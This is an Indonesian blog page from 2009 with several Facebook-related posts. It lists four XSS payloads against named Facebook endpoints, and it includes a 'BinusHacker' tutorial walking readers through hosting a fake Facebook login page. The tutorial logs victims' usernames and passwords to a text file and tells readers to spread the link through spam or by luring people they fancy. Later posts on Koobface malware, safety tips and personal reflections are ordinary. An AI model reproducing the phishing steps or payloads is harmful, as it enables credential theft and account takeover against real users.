Para pengguna Facebook rentan akan serangan phishing dan pencurian ID dikarenakan munculnya kelemahan cross-site scripting yang terbaru dan cukup kritis.
Peneliti keamanan Zeitjak, David Wharton, Daimon dan p3lo baru-baru ini menemukan cacat XSS yang berpengaruh terhadap beberapa fungsionalitas Facebook termasuk halaman developer, halaman registrasi pengguna baru, halaman login iphone dan halaman aplikasi.
Orang-orang jahat dapat mengeksploitasi bugs XSS ini untuk menginfeksi jutaan anggota Facebook dengan malware, adware dan spyware.
Biar aman, anda dianjurkan untuk tidak menerima friend invitation dari orang yang tidak anda kenal. Alasannya adalah bahwa profil di Facebook berisikan informasi pribadi yang cukup berharga untuk dipelajari oleh fraudster (teman anda yang tidak dikenal). Para teman yang tak 'diundang' ini bertujuan untuk melancarkan serangan phishing atau menyebarkan malware pada pengguna individual maupun bisnis. Bagaimana jika anda mengklik sebuah shared link atau apapun? Maka siap-siap saja privasi anda akan menjadi milik mereka!!!
Berikut ini keempat cacat XSS yang ditemukan, untuk mengetahui seperti apa cacatnya klik link bertuliskan Mirror:
XSS #1 dengan POST (oleh Zeitjak) | Mirror:
http://www.new.facebook.com/r.php
POST: reg_email__="onmouseover="alert('XSS - ZJ')"foo="bar
XSS #2 dengan POST (oleh David Wharton) | Mirror:
https://login.facebook.com/login.php?iphone&next=http%3A%2F%2Fiphone.fac...
POST:
email=biz%22%3E%3Cscript%3Ealert%28%27tohellwithgeorgia%27%29%3C%2Fscript%3E%3C%22&pass=greetz2evilghost&next=http%3A%2F%2Fiphone.facebook.com%2F&login=Login
XSS #3 (oleh DaiMon) | Mirror:
http://apps.facebook.com/blognetworks/searchpage.php?tag=%22%3E%3Cscript%3Ealert(%22DaiMon%22)%3C/script%3E
This one works on another IP (67.228.87.82) and can't be used for a worm, except a phishing one.
XSS #4 dengan POST (oleh p3lo) | Mirror:
http://developers.facebook.com/tools.php?fbml
POST:
profile=1299125444&position=wide&api_key=%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+p3lo%3C%2Fh1%3E%3C%2Fmarquee%3E+&fbml=
Jumat, 05 Juni 2009
Empat kelemahan XSS yang cukup kritis ditemukan di Facebook
Selasa, 26 Mei 2009
Hacking Facebook dengan Fake Login
Hack Facebook Dengan Fake Login? Kenapa Tidak…
Jangan lupa sediain Hosting / Free Hosting untuk naruh script yang mau kita buat fake login lokasinya nanti. Jangan sampe lupa, karena itu hal yang paling wajib dilakukan!
Oke lanjut, mantapin juga dah. Perhatikan Baik² Dan Lakukan Dengan Benar Menurut Petunjuk Dibawah Ini. Jangan Sampe Ada Kekeliruan Sedikitpun! Berikut ini adalah ulasannya:
1. Pertama, bikin dulu sebuah file di hosting tempat anda mau bikin fake login dengan filetype: html. Kemudian kasi nama: “index.html”, sehingga di contoh URL Web adalah: http://www.hostingloedisini.com/facebook/index.html
Bikin Code Sesuai Dengan Contoh Script Dibawah Ini:
Scriptcode pada no 1:
Klick Disini Untuk Lihat Scriptnya
2. Buat file logs.php di hostingan lo sendiri, contoh http://www.hostingloedisini.com/facebook/logs.php di bawah ini script nya.
Scriptcode pada no 2:
Klick Disini Untuk Lihat Scriptnya
3. Buatlah file kosong yg berformat txt dengan nama: logs.txt - jadi URLnya jadi: http://www.hostingloedisini.com/facebook/logs.txt
4. Ini wajib dan harus dilakukan! Jangan lupa change mode semua filenya, sehingga permissionnya menjadi: 777 ( chmod + 777).
5. Kemudian sebarkan URL yang telah loe buat, misal: “http://www.hostingloedisini.com/facebook/” dengan sesama user difacebook, iklan, atau spam lewat email sebanyak banyaknya. Bisa juga merajuk kepada cewe cewe / cowo cowo yang loe suka supaya klik tu login. Dijamin mantaf klo bisa dapetin username + loginnya! 
6. Untuk melihat hasil login Username dan Passwordnya silakan buka file di logs.txt nya, nah klo ada username email beserta passwordnya. Brarti anda telah dapet login ntuh.
Contoh ujicoba aplikasi websitenya disini:
http://h1.ripway.com/registers/facebook.html
Contoh ujicoba hasilnya disini:
http://h1.ripway.com/registers/logs.txt
Selamat Mencoba, Semoga Berhasil..
Dan buat para Facebook’ers mania, oh ya, ni skalian gw kasi tips supaya hati hati & biar gak kna Fake Login:
1) Perhatikan dengan benar link address websitenya. Contoh klo FB linknya: http://www.facebook.com
2) Jangan pernah membuka link atau bahasa pemograman (CSS, XTML, XML, atau
HTML) yang aneh. Jika di klik, kemungkinan account kita akan memberikan
username dan password kita.
3) Pakailah virtual keyboard yang bisa diperoleh dengan mudah.
Untuk Windows tampilan XP, hanya cukup klik ’start’ -> All Programs ->
Accessories -> Accessibility -> ‘On-Screen Keyboard’
Untuk Windows tampilan bukan XP, hanya cukup klik ’start’ -> Program Files
-> Accessories -> Accessibility -> ‘On-Screen Keyboard’
4) Bila bermain di Warung Internet (Warnet), hindari check-list kotak
“Remember me” pada saat login, karena hal itu dapat menyimpan username
dan password di komputer tersebut. Kecuali memakai komputer pribadi.
5) Jika anda tiba-tiba diminta login ulang, sebaiknya hati hati, karena kemungkinan halaman pe-login ulang tersebut adalah halaman palsu yang sengaja dirancang. Kekekeke..
Presented by BinusHacker Family
Tutorial Creator: Zian @ BinusHacker
Edited & Reviewed by UtuH @ BinusHacker
For:
All BinusHacker Member & Internet Stuff
Enjoy & Eat It! Kzkzkzk
Mencuri Password Dan Username Facebook (cara Hack Facebook)
BERITA - security-hacking.infogue.com - Banyak cara untuk mecuri username dan password pada suatu akun yang mempunyai username dan password, dan salah satu yang sering menjadi incaran adalah social networking seperti FB yang saat ini sedang menjamur, ada beberapa tools untuk mecuri password dan username FB nama, ada suatu metode untuk mencuri passwrod dan username facebook yang sangat mudah dilakukan olaeh orang awam sekalipun, adapun cara yang digunakan adalah......
Sisanya bisa dibaca disini.
Menjebol Kartu Kredit Lewat Facebook
BERITA penyebaran virus koobface yang menyebar lewat situs jejaring sosial Facebook, memang sempat memicu keresahan para pemilik kartu kredit di Indonesia. Dalam berbagai blog dan milik komunitas pemilik kartu kredit, bahasan tentang ‘hantu virus Koobface’ menjadi topik ‘hot issue’ lantaran mereka khawatir kartu kreditnya bakal dikuras oleh pembobol.
Dalam hal ini kartu kredit erat kaitannya dengan data pribadi yang terdapat pada email facebook friendster dan lainnya lagi. Seperti diketahui, pengelola situs Facebook sendiri pekan lalu mengakui tingginya potensi ancaman pembobolan kartu kredit lewat situs jejaring sosial. Koobface, nama virus yang menyebar lewat Facebook, memanfaatkan fitur messaging di Facebook untuk menginfeksi komputer (PC), lalu mencoba mencuri informasi penting seperti nomor kartu kredit.
Pesan tersebut, yang salah satu subyeknya berbunyi “You look just awesome in this new movie“, jika diklik nantinya akan menggiring user ke sebuah situs di mana user akan diminta untuk men-download sebuah software jahat yang menyamar sebagai update Flash Player.Jika software itu didownload, komputer akan terinfeksi virus. Parahnya lagi, komputer yang sudah terinfeksi itu bisa menginfeksi situs-situs lain ketika menggunakan mesin pencari Google, Yahoo, MSN dan Live.com.
Dan apabila data pribadi anda dapat di ambil oleh para pembobol maka bersiap-siaplah untuk menuju neraka dunia dimana semua yang berhubungan dengan anda akan terdeteksi secara langsung.Bila komputer anda telah terkena ataupun terinfeksi virus yang di buat oleh para pembobol seperti yang telah di uraikan di atas cepat-dan bergegaslah untuk back up data penting anda dan rubah semua akun yang di gunakan oleh anda unruk keperluan seperti email kartu kredit dan sbagainya bila tidak cepat mengambil tindakan itu maka bersiaplah untuk tersiksa oleh kesalahan anda sendiri.
Berhati-hatilah bagi anda yang memanfaatkan situs jaringan sosial seperti facebook.Jangan menulis data pribadi anda yang di anggap penting oleh anda pada form facebook.Kurangi kecerobohan contohnya menulis no hp atau sesuatu yang penting karena virus yang di gunakan oleh para pembobol seperti yang di uraikan di atas sangat rentan sekali mengakses data dengan cepat.
Pesan By Mentor21
Minggu, 24 Mei 2009
Anti Facebook?
Anti Facebook?
2009-05-23 10:02:56
Sejak Januari 2009 penguna Facebook (FB) di Indonesia telah melampaui Friendster.
Sejak Januari 2009 penguna Facebook (FB) di Indonesia telah melampaui Friendster (lihat: http://trends.google.com/). Luar Biasa bukan? Saat ini jumlah pengguna FB di Indonesia mencapai lebih dari 1,4 juta anggota. Dan terus bertambah dari hari ke hari. Bagaimana tidak bertambah , bila setiap pengguna FB di Indonesia terus mendorong teman-temannya untuk menggunakan situs jejaring sosial yang cukup fenomenal ini. Seperti yang saya lakukan terhadap teman-teman kantor. Saya push mereka untuk mengunakan FB. Akhirnya sekarang mereka jadi Facebooker (baca: orang yang ketagihan FB). Bayangkan bila disetiap kantor yang ada di Jakarta, ada orang seperti saya. Pasti anggota FB betambah puluhan bahkan ratusan orang setiap harinya.
Belum lagi pemberitaan di berbagai media massa yang terus menyorot secara positif tentang fenomena ini. Ini membuat nama FB menjadi semakin mencuat di berbagai kalangan masyarakat. Dan orang-orang yang belum terkena demam FB akan terus mencari tahu. Seperti snow ball effect, FB akhirnya menjadi bola jaringan raksasa di Indonesia.
Tapi tunggu dulu. Tiba-tiba saya seperti diingatkan oleh sesuatu saat membaca surat pembaca di kompas.com. Kira-kira bunyi suratnya seperti ini ” Belum pernah Kompas mengangkat fenomena Anti-FB sebagai gerakan yang kini juga terjadi di banyak negara, di Eropa, termasuk di Indonesia. FB sebagai temuan yang positif, kini bergeser menjadi gaya hidup asosial, pertemanan palsu, diskriminatif thdp non-FBer, dan narsis”
Surat ini cukup pedas. Tapi jangan diabaikan, karena, ternyata, ada suara lain terhadap fenomena FB. Paling tidak, surat ini mengingatkan saya, sebagai Facebooker, agar FB tidak menjadikan saya bergaya hidup asosial, pertemanan yang palsu, diskriminatif terhadap non Facebooker dan narsis.
Bagi saya, pro-kontra terhadap kehadiran Facebook adalah hal biasa. Teknologi hanyalah sebuah alat. Yang harus kita pertanyakan; apakah alat ini mampu meningkat produktivitas kita sebagai manusia atau sebaliknya? Atau yang pertanyaan lebih mendasar; Apakah alat atau teknologi tersebut mampu membuat kita bahagia atau malah menyusahkan kita?. Jawaban ada ditangan para Facebooker. Facebook-an dulu ah…. ( Yogi Prasetya )
Kamis, 21 Mei 2009
Anti Facebook
Anti facebook...!!!!
hanya itu yang bisa ku katakan. Mungkin bisa di bilang dah lama buat facebook,bahkan sebelum FB jadi trend. maklum,OP warnet...hwakakakakakakak!!!1
Tapi ternyata semua diluar dugaan.......
Otakku hancur gara-gara Facebook....Smua kenangan,orang yg paling q sayang melebihi dunia beserta seluruh isinya telah menemukanku...
Bagaikan mayat bangkit dari kubur.....Smua kenangan,smua nostalgia teringat kembali....
bagaimana aq bisa melupakannya jika dia selalu ada di bayangan ku???
Ya Tuhan,semoga aku tidak menjadi orang "pesakitan" hanya gara-gara aku tidak bisa memiliki cinta yang sangat ku harapkan......
(2 September 2006)
.....bersambung.....
